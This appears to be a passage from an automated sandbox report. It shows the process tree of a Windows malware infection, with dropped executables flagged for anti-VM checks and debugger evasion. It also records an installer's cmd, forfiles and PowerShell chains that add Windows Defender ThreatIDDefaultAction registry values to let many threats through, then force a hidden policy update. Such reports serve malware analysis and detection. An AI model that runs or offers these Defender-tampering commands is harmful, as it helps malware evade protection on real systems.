                                                                                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xODcuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xODcuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MzhDMjJFQjAtNzZFOS00ODBCLThCOTEtOTAyMjQwMDExQ0I5fSIgdXNlcmlkPSJ7NkU0MzU2OUItQTJDQy00NkU3LTkxMjQtQTYxMjQ1MjE2Mzg4fSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9InszODU0QkFFOC02QjE3LTRDNjYtQkIwMC01RDQ3NURFOUI4RDJ9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7RHhPYmpIR2ErblJhMmF0QzN3bytJRXBDNzgrWlllQVVia1hwREMyY2o3VT0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7RjNDNEZFMDAtRUZENS00MDNCLTk1NjktMzk4QTIwRjFCQTRBfSIgdmVyc2lvbj0iMS4zLjE4Ny4zNyIgbmV4dHZlcnNpb249IjEuMy4xODcuMzkiIGxhbmc9IiIgYnJhbmQ9IiIgY2xpZW50PSIiPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjQ5OTEyNDMzNTQiIGluc3RhbGxfdGltZV9tcz0iMzcxOSIvPjwvYXBwPjwvcmVxdWVzdD4
                                                                                  10⤵
                                                                                  • Executes dropped EXE
                                                                                  • Loads dropped DLL
                                                                                  • Checks system information in the registry
                                                                                  PID:3668
                                                                                • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                                                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers" /installsource otherinstallcmd /sessionid "{38C22EB0-76E9-480B-8B91-902240011CB9}"
                                                                                  10⤵
                                                                                  • Executes dropped EXE
                                                                                  • Loads dropped DLL
                                                                                  PID:1620
                                                                  • C:\Users\Admin\AppData\Local\Temp\1000005001\63929620e0.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\1000005001\63929620e0.exe"
                                                                    3⤵
                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                    • Checks BIOS information in registry
                                                                    • Executes dropped EXE
                                                                    • Identifies Wine through registry keys
                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:1228
                                                              • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                1⤵
                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                • Checks BIOS information in registry
                                                                • Executes dropped EXE
                                                                • Identifies Wine through registry keys
                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:1932
                                                              • C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
                                                                C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
                                                                1⤵
                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                • Checks BIOS information in registry
                                                                • Executes dropped EXE
                                                                • Identifies Wine through registry keys
                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:2328
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4852 -ip 4852
                                                                1⤵
                                                                  PID:3760
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1548 -ip 1548
                                                                  1⤵
                                                                    PID:5176
                                                                  • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                                    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    • Checks system information in the registry
                                                                    • Modifies data under HKEY_USERS
                                                                    PID:5628
                                                                    • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                                      "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xODcuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xODcuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MzhDMjJFQjAtNzZFOS00ODBCLThCOTEtOTAyMjQwMDExQ0I5fSIgdXNlcmlkPSJ7NkU0MzU2OUItQTJDQy00NkU3LTkxMjQtQTYxMjQ1MjE2Mzg4fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7RERBMDREMTYtQTM0NS00MEVDLUFBMDQtM0YwQkJFNTE4NTAxfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjgiIHBoeXNtZW1vcnk9IjgiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0Q2anhQZVVtS2ZoOHl0eTZGMDdZeE0xZVpESC9UVjZGUVQyZmZEaVp5d3c9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjExMC4wLjU0ODEuMTA0IiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIyMiIgaW5zdGFsbGRhdGV0aW1lPSIxNzE1MTY1MjIxIiBvb2JlX2luc3RhbGxfdGltZT0iMTMzNTk2NjI5ODQ0NDE3NDg3Ij48ZXZlbnQgZXZlbnR0eXBlPSIzMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMjExNDA2OCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTAxNTkzMDk2MyIvPjwvYXBwPjwvcmVxdWVzdD4
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      • Loads dropped DLL
                                                                      • Checks system information in the registry
                                                                      PID:3312
                                                                    • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8B3AFB1F-B2F2-4224-AD69-622A5FBD8792}\MicrosoftEdge_X64_125.0.2535.79.exe
                                                                      "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8B3AFB1F-B2F2-4224-AD69-622A5FBD8792}\MicrosoftEdge_X64_125.0.2535.79.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:3760
                                                                      • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8B3AFB1F-B2F2-4224-AD69-622A5FBD8792}\EDGEMITMP_A2941.tmp\setup.exe
                                                                        "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8B3AFB1F-B2F2-4224-AD69-622A5FBD8792}\EDGEMITMP_A2941.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8B3AFB1F-B2F2-4224-AD69-622A5FBD8792}\MicrosoftEdge_X64_125.0.2535.79.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level
                                                                        3⤵
                                                                        • Executes dropped EXE
                                                                        • Drops file in Program Files directory
                                                                        PID:5396
                                                                        • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8B3AFB1F-B2F2-4224-AD69-622A5FBD8792}\EDGEMITMP_A2941.tmp\setup.exe
                                                                          "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8B3AFB1F-B2F2-4224-AD69-622A5FBD8792}\EDGEMITMP_A2941.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=125.0.6422.112 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{8B3AFB1F-B2F2-4224-AD69-622A5FBD8792}\EDGEMITMP_A2941.tmp\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=125.0.2535.79 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ff692084b18,0x7ff692084b24,0x7ff692084b30
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          • Drops file in Program Files directory
                                                                          PID:5724
                                                                    • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                                      "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xODcuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xODcuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MzhDMjJFQjAtNzZFOS00ODBCLThCOTEtOTAyMjQwMDExQ0I5fSIgdXNlcmlkPSJ7NkU0MzU2OUItQTJDQy00NkU3LTkxMjQtQTYxMjQ1MjE2Mzg4fSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9InswQTBFOUEyOS00N0NCLTQ0RUQtQjkxNS1DQzFBMzM5OTVDOUR9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7VlBRb1AxRitmcTE1d1J6aDFrUEw0UE1wV2g4T1JNQjVpenZyT0MvY2hqUT0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7RjMwMTcyMjYtRkUyQS00Mjk1LThCREYtMDBDM0E5QTdFNEM1fSIgdmVyc2lvbj0iIiBuZXh0dmVyc2lvbj0iMTI1LjAuMjUzNS43OSIgbGFuZz0iIiBicmFuZD0iIiBjbGllbnQ9IiIgZXhwZXJpbWVudHM9ImNvbnNlbnQ9ZmFsc2UiIGluc3RhbGxhZ2U9Ii0xIiBpbnN0YWxsZGF0ZT0iLTEiPjx1cGRhdGVjaGVjay8-PGV2ZW50IGV2ZW50dHlwZT0iOSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTAyNjM5OTU2NyIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjUiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjUwMjYzOTk1NjciIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MjQ2MDg3MDU5IiBzb3VyY2VfdXJsX2luZGV4PSIwIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIiBkb3dubG9hZGVyPSJiaXRzIiB1cmw9Imh0dHA6Ly9tc2VkZ2UuZi50bHUuZGwuZGVsaXZlcnkubXAubWljcm9zb2Z0LmNvbS9maWxlc3RyZWFtaW5nc2VydmljZS9maWxlcy8wOGMzMGM2ZC02OWViLTQ5N2ItYWQ4Mi1mODQ3ODc5ZTQyNDA_UDE9MTcxNzcyNjg5NSZhbXA7UDI9NDA0JmFtcDtQMz0yJmFtcDtQND1ZOUFzZ0d2THV3MVhINXAzS3pLbDE3Um5xZmYlMmZKciUyZkRZVEFNOFZHakl0cFNza3R2cUpCZjlzeDVGWmV5YnN4VWlIU2JuZGUyRW1sTE05ekgybWlWdGclM2QlM2QiIHNlcnZlcl9pcF9oaW50PSIiIGNkbl9jaWQ9Ii0xIiBjZG5fY2NjPSIiIGNkbl9tc2VkZ2VfcmVmPSIiIGNkbl9henVyZV9yZWZfb3JpZ2luX3NoaWVsZD0iIiBjZG5fY2FjaGU9IiIgY2RuX3AzcD0iIiBkb3dubG9hZGVkPSIxNzM3MTYwMjQiIHRvdGFsPSIxNzM3MTYwMjQiIGRvd25sb2FkX3RpbWVfbXM9IjE1MDYzIi8-PGV2ZW50IGV2ZW50dHlwZT0iMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTI0NjI0MzM4MiIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjYiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjUyNjI0OTM1MTkiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIxOTY3NTciIHN5c3RlbV91cHRpbWVfdGlja3M9IjU3MzY4Njg3OTkiIHNvdXJjZV91cmxfaW5kZXg9IjAiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiIHVwZGF0ZV9jaGVja190aW1lX21zPSI0MDYiIGRvd25sb2FkX3RpbWVfbXM9IjIxOTg1IiBkb3dubG9hZGVkPSIxNzM3MTYwMjQiIHRvdGFsPSIxNzM3MTYwMjQiIHBhY2thZ2VfY2FjaGVfcmVzdWx0PSIwIiBpbnN0YWxsX3RpbWVfbXM9IjQ3NDM3Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      • Loads dropped DLL
                                                                      • Checks system information in the registry
                                                                      PID:1132
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                    1⤵
                                                                      PID:3128
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                      1⤵
                                                                        PID:1252
                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSEC0.tmp\Install.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\7zSEC0.tmp\Install.exe 1g /pYQdidwuNZ 385118 /S
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        • Drops file in System32 directory
                                                                        • Modifies data under HKEY_USERS
                                                                        PID:5764
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                          2⤵
                                                                            PID:3204
                                                                            • C:\Windows\System32\Conhost.exe
                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                              3⤵
                                                                                PID:3668
                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                3⤵
                                                                                  PID:5348
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                    4⤵
                                                                                      PID:5396
                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                        5⤵
                                                                                          PID:4752
                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                      3⤵
                                                                                        PID:4500
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                          4⤵
                                                                                            PID:5632
                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                              5⤵
                                                                                                PID:5568
                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                            3⤵
                                                                                              PID:60
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                4⤵
                                                                                                  PID:4272
                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                    5⤵
                                                                                                      PID:4596
                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                  3⤵
                                                                                                    PID:1160
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                      4⤵
                                                                                                        PID:5220
                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                          5⤵
                                                                                                            PID:3640
                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                        3⤵
                                                                                                          PID:456
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                            4⤵
                                                                                                              PID:2700
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                5⤵
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:1812
                                                                                                                • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  6⤵
                                                                                                                    PID:1640
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                            2⤵
                                                                                                            • Drops file in System32 directory
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:668
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:3204
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                  4⤵
                                                                                                                    PID:5172
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                  3⤵
